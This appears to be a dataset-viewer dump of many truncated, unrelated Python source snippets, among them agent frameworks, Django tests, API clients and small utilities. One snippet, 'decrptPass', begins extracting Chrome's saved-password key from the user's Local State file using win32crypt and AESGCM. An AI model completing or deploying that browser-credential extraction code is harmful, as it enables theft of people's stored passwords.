content stringlengths 5 1.05M |
|---|
from osbrain import run_agent
from osbrain import run_nameserver
if __name__ == '__main__':
ns = run_nameserver()
alice = run_agent('Alice')
bob = run_agent('Bob')
addr = alice.bind('REP', handler=lambda agent, msg: 'Received ' + str(msg))
bob.connect(addr, alias='main')
for i in range(10):
... |
import time
#Writes to file
def writeFile(path, text):
file = open(path, "w")
file.write(text)
file.close()
#Appends to file
def appendFile(path, text):
file = open(path, "a")
file.write(text)
file.close()
#Prints with no new lines
def printn(text):
print(text, end="")
#Prints letter... |
#!/usr/bin/env python3
################################################################
# Example of using AlphaVantage API
# Sign up to get an API key and import it
# This script currently just gets the 5 latest values for bitcoin but can do others as well
# will eventually replace my powershell script at https://aut... |
from typing import NamedTuple
from string import ascii_letters
class UnknownLocaleError(Exception):
pass
class Locale(NamedTuple):
language: str
territory: str = ''
def __str__(self):
if self.territory:
return f'{self.language}_{self.territory}'
return self.language
... |
from __future__ import division
import hoomd
import hoomd.md
import unittest
hoomd.context.initialize();
# test the md.constrain.rigid() functionality
class test_log_energy_upon_run_command(unittest.TestCase):
def test_log(self):
uc = hoomd.lattice.unitcell(N = 1,
a1 = ... |
# Copyright (C) 2010, 2011 Sebastian Thiel ([email protected]) and contributors
#
# This module is part of GitDB and is released under
# the New BSD License: http://www.opensource.org/licenses/bsd-license.php
"""Performance tests for object store"""
from git.test.performance.lib import (
TestBigRepoR,
GlobalsItemDe... |
import sys
import json
from detect import Darknetv5Detector, Darknetv3Detector
from train import DarknetTrainer
def configure_json(json_path):
with open(json_path, 'r') as f:
s = f.read()
s = s.replace('\t', '')
s = s.replace('\n', '')
s = s.replace(',}', '}')
s = s.replace... |
import logging
from django.core.management import call_command
from django.utils import timezone
from model_bakery import baker
from fritzbox_thermostat_triggers.triggers.models import Thermostat
logger = logging.getLogger(__name__)
class MockedFritzbox:
def login(*args, **kwargs):
pass
def set_ta... |
# -*- coding: utf-8 -*-
from math import cos, sin
import time
from unicorn.utils import bracket
from base import EffectBase
class Rainbow(EffectBase):
"""
Largely borrowed from the Pimoromi examples.
"""
i = 0.0
offset = 30
def __init__(self, *args, **kwargs):
super(Rainbow, self)._... |
import collections
import secrets
import statistics
import click
from gitkit.util.shell import get_output
def print_stats(title, lst):
print(title, "common", collections.Counter(lst).most_common(10))
print(title, "median", statistics.median(lst))
print(title, "mean ", statistics.mean(lst))
print(ti... |
import buildhat
import time
dist_sensor = buildhat.DistanceSensor('B')
motor = buildhat.Motor('A')
dist_sensor.eyes(0,0,50,50) # (Lup, Rup, Ldown, Rdown)
while True:
dist = dist_sensor.get()[0]
if dist > 0:
if dist < 50:
motor.run_for_degrees(30)
elif dist < 80:
print( ... |
"""
tungsten
~~~~~~~~
Main module
"""
from .core import *
__title__ = 'tungsten'
__version__ = '0.1.1'
__author__ = 'Seena Burns'
__license__ = 'BSD'
__copyright__ = 'Copyright 2012 Seena Burns'
|
# ๋์
๋๋ฆฌ : ๋งคํ ์๋ฃ๊ตฌ์กฐ
# ํคkey์ ๊ฐvalue์ ์ฐ๊ฒฐ์ํค๋ ๋ฐฉ์์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ๋ค๋ฃจ๋ ๋ฐฉ๋ฒ ์ ๊ณต
# ํค๋ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ฅผ ์๋ณํ๊ธฐ ์ํ ๋ฒํธ๋ ์ด๋ฆ
# ๊ฐ์ ๊ฐ ํค์ ์ฐ๊ฒฐ๋์ด ์ ์ฅ๋ ํ
์ดํฐ
# ๋ฐ๋ผ์ ํค๋ง ์๋ฉด ๋ฐ์ดํฐ๋ฅผ ๋ฐ๋ก ์ฐพ์ ์ ์์
# ๋์
๋๋ฆฌ๋ {} ์ ํค:๊ฐ ํํ๋ก ์ด์ฉ
# ํค:๊ฐ์ด ์ฌ๋ฌ๊ฐ ์กด์ฌํ ๊ฒฝ์ฐ, ๋ก ๊ตฌ๋ถ
menu = { '1': 'newSungJuk', '2': 'showSungJuk',
'3': 'modifySungJuk' } # ํค๋ ๋ค์ํ ์๋ฃํ์ผ๋ก ์ฌ์ฉ
book = {
'bookid': '1',
... |
import math
import sys
def print_bytes(a):
bl=a.bit_length()//8
residue=a.bit_length()%8
if (residue!=0):
bl+=1
print(a.to_bytes(bl,"big"))
MODE_BINARY=0
MODE_8_BIT_ASCII=1
input_buffer=0
input_string=""
input_count=0
output_buffer=0
output_count=0
def my_output(bit, mode):
global output_buf... |
# -*-coding:utf-8-*-
__author__ = 'Tracy'
import xlrd,json,sys
reload(sys)
sys.setdefaultencoding('utf8')
with xlrd.open_workbook('numbers.xls', 'w') as f:
table = f.sheet_by_index(0)
rows = table.nrows
cols = table.ncols
lists = []
for row in range(rows):
list = []
for x in table.row_values(row):
... |
import unittest
from cdm.enums import CdmDataFormat
from cdm.objectmodel import CdmCorpusContext, CdmCorpusDefinition, CdmTypeAttributeDefinition
from cdm.utilities import TraitToPropertyMap
class TraitToPropertyMapTests(unittest.TestCase):
def test_trait_to_unknown_data_format(self):
"""Test trait to da... |
def get_min_max(ints):
"""
Return a tuple(min, max) out of list of unsorted integers.
Args:
ints(list): list of integers containing one or more integers
"""
if ints == []:
return None
minimum = float('inf')
maximum = float('-inf')
for i in ints:
if i... |
import unittest
from ..pcp import pcpmessage
#===============================================================================
class TestPcpMessage(unittest.TestCase):
def setUp(self):
self.pcp_client_ip = "192.168.1.1"
self.pcp_fields_request_map_common = {
'version': 2,
'message_type'... |
from dataclasses import dataclass, field
from typing import Dict, List, Tuple
from neighborly.core.ecs import Component
from neighborly.plugins.default_plugin.character_values import CharacterValues
@dataclass(frozen=True)
class Activity:
"""Activities that a character can do at a location in the town
Attri... |
#!/bin/python
fAna = open("ana.csv", "r")
rTimes = list()
rDict = dict()
#print(prefix + ",benchmark,solve mem,solve time,drat kb,drat sec,lrat kb,lrat sec,restarts,decisions,conflicts,propagations,mark proof sec,dump lrat sec, ana sec, anamem mb")
for l in fAna:
data = l.split(",")
rDict.update({data[2]:flo... |
from setuptools import setup
setup(name='pyffe',
version='0.1',
description='Tools and utils for PyCaffe',
# url='http://github.com/fabiocarrara/pyffe',
author='Fabio Carrara',
author_email='[email protected]',
license='MIT',
packages=['pyffe', 'pyffe.models'],
z... |
#!/usr/bin/python
file = open("copy_data_to_file.txt", "w")
while True:
text = input("Enter value: ")
if text == "CLOSE":
file.close()
break
if text == "SAVE":
for i in lines:
file.write(lines + "\n")
continue
else:
lines = file.readlines()
c... |
from __future__ import division
import numpy as np
from numpy import log10
from scipy.interpolate import PchipInterpolator as interp1d
def seismic(f, ifo):
"""Seismic noise.
"""
return seismicAll(f, ifo)[0]
def seismicAll(f, ifo):
"""Seismic noise.
Return (noise, noise_vertical, noise_horizonta... |
from bytemaps import sys
from bytemaps import Dataset
from bytemaps import Verify
from bytemaps import get_data
from bytemaps import ibits
from bytemaps import is_bad
from bytemaps import where
class ASCATAveraged(Dataset):
""" Read averaged ASCAT bytemaps. """
"""
Public data:
filename = name of... |
from typing import Tuple
from hypothesis import given
from ground.base import Context
from ground.hints import (Point,
Scalar)
from tests.utils import reverse_point_coordinates
from . import strategies
@given(strategies.contexts_with_points_and_scalars_pairs)
def test_basic(context_with_po... |
from binascii import hexlify
import pytest
from Cryptodome.Cipher import PKCS1_v1_5
from Cryptodome.PublicKey import RSA
from Cryptodome.Util.number import getPrime
from gmpy2 import mpz, next_prime, powmod
from hypothesis import assume, given, reject, settings
from hypothesis.strategies import integers, sampled_from,... |
from bs4 import BeautifulSoup
import re
def clean(raw_data):
if not isinstance(raw_data,str):
raw_data=str(raw_data)
review_text = BeautifulSoup(raw_data).get_text()
letters_only = re.sub("[^a-zA-Z]", " ", review_text)
words = letters_only.lower().split()
return( " ".join(words))
def conc... |
import prang
import os
import os.path
import pytest
from prang.validation import (
Name, Interleave, Element, EMPTY, ElementNode, QName, TEXT, After,
start_tag_close_deriv, after, interleave, children_deriv, text_deriv,
child_deriv, choice, NotAllowed, whitespace, Choice, OneOrMore,
start_tag_open_deriv... |
from gp_code.kernels import set_kernel
from gp_code.optimize_parameters import *
from utils.stats_trajectories import trajectory_arclength, trajectory_duration
from utils.manip_trajectories import get_linear_prior_mean
from utils.manip_trajectories import get_data_from_set
from utils.manip_trajectories import goal_cent... |
import os
from datetime import datetime
from cement import Controller, ex
from cement.utils import fs
from cement.utils.version import get_version_banner
from ..core.version import get_version
from ..core import exc
VERSION_BANNER = """
Lazily Backup Files and Directories %s
%s
""" % (get_version(), get_version_banne... |
import argparse
import tensorflow as tf
import cv2
import matplotlib.pyplot as plt
def monocular_img(img_path):
"""Function to predict for a single image
"""
img = cv2.cvtColor(img_path, cv2.COLOR_BGR2RGB) / 255.0
img_resized = tf.image.resize(img, [256,256], method='bicubic', pres... |
import sys
import json
import os
sys.path.append("../brreg_announce")
from brreg_announce.brreg import Announcements
ann = Announcements()
res = ann.search(
fetch_details=True,
datoFra='01.01.2015',
datoTil='31.12.2015',
id_niva1=51,
id_niva2=56,
#id_niva3=41,
id_region=300,
id_fylke=4... |
import os
from starlette.applications import Starlette
from starlette.responses import Response
from starlette.endpoints import HTTPEndpoint
from FHIR.utilities import Utilities
create = Starlette()
"""
@api {post} /create/organization Populate a FHIR Organization template with the supplied values
@apiName CreateOrg... |
"""
Tests for aiohttp-toolbox without [all] installed
"""
import pytest
from pydantic import BaseSettings as PydanticBaseSettings
async def test_create_no_setting():
from atoolbox import create_default_app
from atoolbox.create_app import startup, cleanup
app = await create_default_app()
assert app['s... |
from functools import partial
from pd_lda import pd_lda
import pandas as pd
df = pd.read_pickle('calendar_events_old.df')
df_one = df[:len(df)-20]
df_two = df[len(df)-20:len(df)]
pdlda = pd_lda()
model = pdlda.update_lda(df_one, ['name'])
print model.show_topic(1)
# mymodel = model.copy()
new_model = pdlda.update_lda(... |
import socket
from threading import Thread
import threading
class Server:
def __init__(self):
sock.bind(("localhost", 8000))
sock.listen(10)
self.connections = []
def get_socket(self):
while True:
connection, addr = sock.accept()
self.connections.append... |
# encoding: utf-8
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Helptext'
db.create_table('okhelptexts_helptext', (
('id', self.gf('django.db.... |
import os
import os.path as path
import subprocess
import unittest
import test_system_common as common
APPARGUMENT_INPUTFILE_SAMPLE_VALUE = r'test_data\311_calls_for_service_requests_all_strings\311_calls_for_service_requests_sample.dat'
APPARGUMENT_INPUTFILE_FULL_VALUE = r'test_data\311_calls_for_service_... |
"""
This Lambda shows how a staff member managing SupportBot would update the status of a given ticket.
"""
import json
import datetime
import time
import os
import dateutil.parser
import logging
import uuid
import boto3
from boto3.dynamodb.conditions import Key, Attr
logger = logging.getLogger()
logger.setLevel(logg... |
""" jpv2rel.py
Scripting for jpv2rel conversion runs.
Ex:
JISP16 truncated at relative Nmax20...
% cd nuclthy/data/interaction/jpv-relative/Vrel_JISP16_bare_Jmax4
% python3 ~/projects/shell/script/jpv2rel.py
% mv *_rel.dat ../../rel/JISP16_Nmax20
M. A. Caprio
Department of Ph... |
# #####################################################################################################################
# Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved. #
# ... |
from django.urls import path
from django.utils.translation import gettext_lazy as _
from envergo.users.views import Register, RegisterSuccess, TokenLogin
urlpatterns = [
path(_("register/"), Register.as_view(), name="register"),
path(_("register-success/"), RegisterSuccess.as_view(), name="register_success"),... |
def makeAnagram(a, b):
non_common = []
c_list= list(a)
b_list = list(b)
my_d = {}
for char in c_list:
my_d[char] = c_list.count(char)
for char in b_list:
if char not in my_d.keys() or b_list.count(char) != c_list.count(char):
non_common.append(char)
return len(... |
import numpy as np
import pandas as pd
import statsmodels.api as sm
from linearRegressionModel import *
from handleYears import *
from utility import *
training_data = pd.read_csv("../data/TrainingSet.csv", index_col=0)
submission_labels = pd.read_csv("../data/SubmissionRows.csv", index_col=0)
prediction_rows = ... |
from flask import render_template
from application import app
from application.models import User,Post
@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():
form = EditProfileForm(current_user.username)
@app.route('/')
@app.route('/index')
def index():
users = User.query.all(... |
# -*- coding: utf-8 -*-
"""
Written by Daniel M. Aukes and CONTRIBUTORS
Email: danaukes<at>asu.edu.
Please see LICENSE for full license.
"""
from distutils.core import setup
import popupcad
packages = []
packages.append('dev_tools')
packages.append('api_examples')
packages.append('popupcad')
packages.append('popup... |
import matplotlib
matplotlib.use('Agg')
from matplotlib import pyplot as plt
from matplotlib.ticker import ScalarFormatter
import pandas as pd
import os
def generate_graphics(cov_file, output_dir):
df = pd.read_table(cov_file)
fold_vs_len_file = _generate_fold_vs_length(df, output_dir, "png")
fold_vs_gc_fi... |
import pytest
from selenium import webdriver
from time import sleep
from selenium.webdriver.support.select import Select
import sqlite3
from static.classes.User import User, encryptPassword, decryptPassword
# Global variable
# Prepare the user and password for test
username_test = "test111"
password_test = "Aa123456!!... |
from django.db import models
# Create your models here.
class OAuthUser(models.Model):
pass |
from demo_constants.demo_racetrack_data import DISCOUNT, REWARD
from gridworld_constants import *
# All possible actions
ACTIONS = [(-1, -1), (-1, 0), (0, -1), (-1, 1),
(0, 0), (1, -1), (0, 1), (1, 0), (1, 1)]
# Constant step penalty
REWARD = -1
DISCOUNT = 1
# Schema used for creating a gridlworld
GRIDWO... |
# Copyright 2021 UW-IT, University of Washington
# SPDX-License-Identifier: Apache-2.0
from unittest import TestCase
from uw_canvas.utilities import fdao_canvas_override
from uw_canvas.admins import Admins
import mock
@fdao_canvas_override
class CanvasTestAdmins(TestCase):
def test_admins(self):
canvas =... |
import argparse
import sys
import torch
from torch.autograd import Variable
import pytorch_to_caffe
from target_model import mobilenet_v1
def load_pretrained_model(model, checkpoint):
checkpoint = torch.load(checkpoint, map_location=lambda storage, loc: storage)['state_dict']
model_dict = model.state_dict()
... |
# Cรกlculo de datas para contagem de prazo
# 1 Importando bibliotecas necessรกrias
from datetime import date, datetime
import calendar
# 2 Incluindo Cabeรงalho e linhas divisรณrias
print('CALCULADORA DE PRAZOS')
def linha():
print('=' * 45, '\n')
linha()
# 3 Execuรงรฃo do Script com Loop while True
while True:
# 4 ... |
from objects import experiments, outputtable, computationalresource
import json
import itertools
import copy
import os
import lxml.etree as etree
import sqlite3 as lite
import sys
import subprocess
import datetime
import time
modelsAndAlgorithmNames_global = []
baseParamsDict_global = {}
computationalResource_global =... |
# -*- coding: utf-8 -*-
import pandas as pd
from functools import wraps
from ..common import _getJson, _raiseIfNotStr, _reindex, _toDatetime
def news(symbol, count=10, token='', version='', filter=''):
'''News about company
https://iexcloud.io/docs/api/#news
Continuous
Args:
symbol (str): Ti... |
# coding: utf-8
from __future__ import annotations
import re # noqa: F401
from datetime import date, datetime # noqa: F401
from typing import Any, Dict, List, Optional # noqa: F401
from pydantic import AnyUrl, BaseModel, EmailStr, validator # noqa: F401
class CreateMachine(BaseModel):
"""NOTE: This class i... |
#!/usr/bin/env python3
def utf8len(s):
"""Returns the UTF-8 encoded byte size of a string. `s` is a string parameter."""
return len(s.encode("utf-8"))
|
# Generated by Django 3.0.5 on 2020-04-26 18:22
from django.db import migrations, models
def associate_materials(apps, schema_editor):
LessonPlan = apps.get_model('curriculum', 'LessonPlan')
for lesson_plan in LessonPlan.objects.all():
for material in lesson_plan.material_set.all():
less... |
from datetime import datetime, timedelta
import re
import time
import mysql.connector
import facebook
import progressbar
import yaml
def main():
with open('config.yml', 'r') as c:
config = yaml.load(c)
crawler = Crawler(config)
crawler.crawl()
class Crawler:
def __init__(self, config):
... |
# Copyright 2020, Kay Hayen, mailto:[email protected]
#
# Part of "Nuitka", an optimizing Python compiler that is compatible and
# integrates with CPython, but also works on its own.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in complianc... |
import wbsv
__version__ = "0.1.5"
|
from luno.clients.sync import LunoSyncClient
from luno.clients.asynchronous import LunoAsyncClient
|
"""generates a shapefile from a list of tile files"""
import argparse
import os
from osgeo import ogr, osr
from hyp3lib.asf_geometry import geotiff2polygon, geometry2shape
def tileList2shape(listFile, shapeFile):
# Set up shapefile attributes
fields = []
field = {}
values = []
field['name'] = 'tile'
f... |
from django.apps import AppConfig
class perfilesConfig(AppConfig):
name = 'search'
|
# Generated by Django 3.2.4 on 2021-10-14 18:19
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0003_authtoggle_timeout'),
]
operations = [
migrations.AlterField(
model_name='authtoggle',
name='timeou... |
from pyxorfilter import Xor16
import random
def test_xor16_int():
xor_filter = Xor16(100)
test_lst = random.sample(range(0, 1000), 100)
xor_filter.populate(test_lst.copy())
for i in test_lst:
assert xor_filter.contains(i) == True
for i in random.sample(range(1000, 3000), 500):
asse... |
# -*- coding: utf-8 -*-
"""
Copyright 2022 Mitchell Isaac Parker
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by ... |
"""
The script that converts the configuration file (dictionaries) into experiments and runs them
"""
from src.models.methods import string_to_key, select_estimator, read_datasets, cv_choices, css_choices
from sklearn import model_selection, preprocessing
import imblearn
from src.models.cssnormaliser import CSSNormalis... |
from datetime import datetime
from io import DEFAULT_BUFFER_SIZE
import pandas as pd
import openpyxl
from sqlalchemy import create_engine
sourceFile="Family expenses.xlsm"
outputFile="Family expenses.csv"
outputJSON="Family expenses.json"
book = openpyxl.load_workbook(
sourceFile, data_only=True, read_only=True
)... |
import kronos
from orchestra.communication.staffing import send_staffing_requests
@kronos.register('* * * * *') # run every minute
def send_staffing_requests_periodically():
send_staffing_requests()
|
# numbers = [2,3,1,5]
# min_number = min(numbers)
# max_number = max(numbers)
x = 2
y = 5
min_number = min(x,y)
max_number = max(x,y)
print(min_number)
print(max_number) |
# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompa... |
import firebase_admin
import requests
from firebase_admin import credentials, firestore
import datetime
import sys
class ScriptTracker:
def __init__(self):
self.starting_time = datetime.datetime.now()
self.email = ''
self.password = ''
self._verify_password_url = 'https://www.goog... |
from gpiozero import Button
from sense_hat import SenseHat
A = Button(16)
B = Button(21)
UP = Button(26)
DOWN = Button(13)
LEFT = Button(20)
RIGHT = Button(19)
sense = SenseHat()
R = [255, 0, 0]
G = [0, 255, 0]
W = [255, 255, 255]
B = [0, 0, 0]
def redCross():
redCross = [
R, W, W, W, W, W, W, R,
... |
# Generated by Django 2.0.5 on 2019-11-11 15:41
from django.db import migrations
import sorl.thumbnail.fields
class Migration(migrations.Migration):
dependencies = [
('publicaciones', '0008_auto_20191107_0944'),
]
operations = [
migrations.AlterField(
model_name='publicacion... |
import datetime
import os
import time
import requests
from lxml import etree, html
def get_table(page_html: requests.Response, headers, rows=None, **kwargs):
""" Private function used to return table data inside a list of dictionaries. """
if isinstance(page_html, str):
page_parsed = html.fromstring(... |
#!/usr/local/bin/python3
# coding: utf-8
try:
import json, requests, urllib
from geopy.geocoders import Nominatim
from geopy.distance import vincenty
except:
print("Error importing modules, exiting.")
exit()
api_url = "http://opendata.iprpraha.cz/CUR/FSV/FSV_VerejnaWC_b/WGS_84/FSV_VerejnaWC_b.json... |
import cv2
import cv2.aruco as aruco
# ChAruco board variables
CHARUCOBOARD_ROWCOUNT = 4
CHARUCOBOARD_COLCOUNT = 4
# CHARUCO_DICT = aruco.Dictionary_get(aruco.DICT_4X4_50)
# CHARUCO_DICT = aruco.Dictionary_get(aruco.DICT_5X5_50)
CHARUCO_DICT = aruco.Dictionary_get(aruco.DICT_5X5_1000)
# ARUCO_DICT = aruco.Dictionary_g... |
# -*- coding: utf-8 -*-
'''
Use Lucene to retrieve candidate documents for given a query.
'''
import shutil
import os
import lucene
import parameters as prm
import utils
import itertools
from java.nio.file import Paths
from org.apache.lucene.analysis.standard import StandardAnalyzer
from org.apache.lucene.document impo... |
import KratosMultiphysics as KM
if not KM.IsDistributedRun():
raise Exception("This test script can only be executed in MPI!")
from KratosMultiphysics.CoSimulationApplication import * # registering tests
def run():
KM.Tester.SetVerbosity(KM.Tester.Verbosity.PROGRESS) # TESTS_OUTPUTS
KM.Tester.RunTestSuit... |
import requests
from Notion.page import Page
from Notion.blocks import Block
from Notion.richtext import RichText
class Notion:
key = None
api_version = '2021-08-16'
def __init__(self, key):
Notion.key = key
def get_basic_headers(self):
return {
'Notion-Version': Notion.a... |
# String Manipulation and Code Intelligence
print(" String Manipulation")
print('''
------------------------------------------------------------------------------------------
We can combine two string in print... |
from django.http import HttpResponse
from django.template import loader
from django.http import JsonResponse
from django.core import serializers
import json
import sys
import OmniDB_app.include.Spartacus as Spartacus
import OmniDB_app.include.Spartacus.Database as Database
import OmniDB_app.include.Spartacus.Utils as... |
from coldtype import *
from defcon import Font
curves = Font(__sibling__("media/digestivecurves.ufo"))
df = "~/Type/fonts/fonts/_wdths/DigestiveVariable.ttf"
def ds(e1, e2):
# 128, -50 on size
return StyledString("Digestive", Style(df, 186-0*e2, fill=1, tu=0+0*e1, wdth=e1, ro=1, bs=0*(1-e2))).pens()
def rend... |
"""
Copyright (c) 2019, Brian Stafford
Copyright (c) 2019, The Decred developers
See LICENSE for details
simnet holds simnet parameters. Any values should mirror exactly
https://github.com/decred/dcrd/blob/master/chaincfg/simnetparams.go
"""
# SimNetParams defines the network parameters for the simulation test networ... |
from oslo_utils import importutils
profiler_opts = importutils.try_import('osprofiler.opts')
def register_opts(conf):
if profiler_opts:
profiler_opts.set_defaults(conf)
def list_opts():
return {
profiler_opts._profiler_opt_group: profiler_opts._PROFILER_OPTS
} |
if __name__ =='__main__':
n = int(input("Enter number of scores"))
arr =list(set(map(int,input("Enter space separated list of scores").split())))
print(sorted(arr,reverse=True)[1]) |
# Copyright (c) 2021-2022 Kabylkas Labs.
# Licensed under the Apache License, Version 2.0.
# Python packages.
import requests
from bs4 import BeautifulSoup
# Local packages.
import stockmarketapi.constants as constants
# Helper functions.
def GetContent(url):
req = requests.get(url, headers = constants.kHtmlHead... |
import collections
Node = collections.namedtuple('Node', 'val left right')
# some sample trees having various node counts
tree0 = None # empty tree
tree1 = Node(5, None, None)
tree2 = Node(7, tree1, None)
tree3 = Node(7, tree1, Node(9, None, None))
tree4 = Node(2, None, tree3)
tree5 = Node(2, Node(1, None, None), t... |
# ===--- gyb_stdlib_unittest_support.py --------------*- coding: utf-8 -*-===//
#
# This source file is part of the Swift.org open source project
#
# Copyright (c) 2014 - 2016 Apple Inc. and the Swift project authors
# Licensed under Apache License v2.0 with Runtime Library Exception
#
# See https://swift.org/LICENSE.t... |
from .analyzer import Analyzer
from .formatter import Formatter
from . import yacc
import io
import sys
import traceback
from . import yacc
def translate(qasm) :
strfile = io.StringIO()
formatter = Formatter(file=strfile)
# formatter.set_funcname(factory_name)
analyzer = Analyzer(formatter)
yacc.pa... |
#!/usr/bin/env python3
import json
from collections import OrderedDict
###################################################################################################
# A set of container classes for Scarlets and Blues data
# The classificationObject is the basic type which comprises an Ordered Dictionary and a k... |
import base64
import win32crypt
from os import getenv
import sqlite3
import json
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from shutil import copyfile
def decrptPass():
Localstate = getenv("LocalAppData")+"\\Google\\Chrome\\User Data\\Local State"
with open(Localstate,"r") as f:
content = f.re... |
import pandas as pd
import numpy as np
import plotly.express as px
import plotly
import json
import plotly.io as pio
from flask import Flask, render_template
pio.renderers.default = "browser"
app = Flask(__name__,template_folder='templates')
##### Importation des Donnรฉes #######
#use encoder to avoid utf-8 error
d... |
"""Holds ``DiagGGN{Exact, MC}`` extension for BackPACK's custom ``Slicing`` module."""
from backpack.core.derivatives.slicing import SlicingDerivatives
from backpack.extensions.secondorder.diag_ggn.diag_ggn_base import DiagGGNBaseModule
class DiagGGNSlicing(DiagGGNBaseModule):
"""``DiagGGN{Exact, MC}`` for ``bac... |
#!/usr/bin/env python
from collections import namedtuple
from operator import attrgetter
from random import randint
import sys
from flask import Flask, request, render_template, make_response, jsonify
from pony import orm
if sys.version_info[0] == 3:
xrange = range
_is_pypy = hasattr(sys, "pypy_version_info")
if ... |
from django.db import models
from .validators import validate_length
class Poll(models.Model):
state = models.CharField(max_length=256)
begin_time = models.DateTimeField()
end_time = models.DateTimeField()
name = models.CharField(max_length=512)
class Vote(models.Model):
option = models.CharFiel... |
"""
unit testing of bounce.py
"""
import os
import sys
import unittest
from turtle import *
from freegames.utils import vector
class memoryTestCase(unittest.TestCase):
def test_memory_index(self):
from freegames.memory import index
testx = 100
testy = 200
output = index(... |
"""Command-line scripts provided by the desisurvey package.
"""
|
from app.helpers.regex_helper import RegexHelper
users = {
'item_title': 'User',
'schema': {
'name': {
'type': 'string',
'required': True,
'regex': RegexHelper.USERNAME
},
'email': {
'type': 'string',
'unique': True,
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.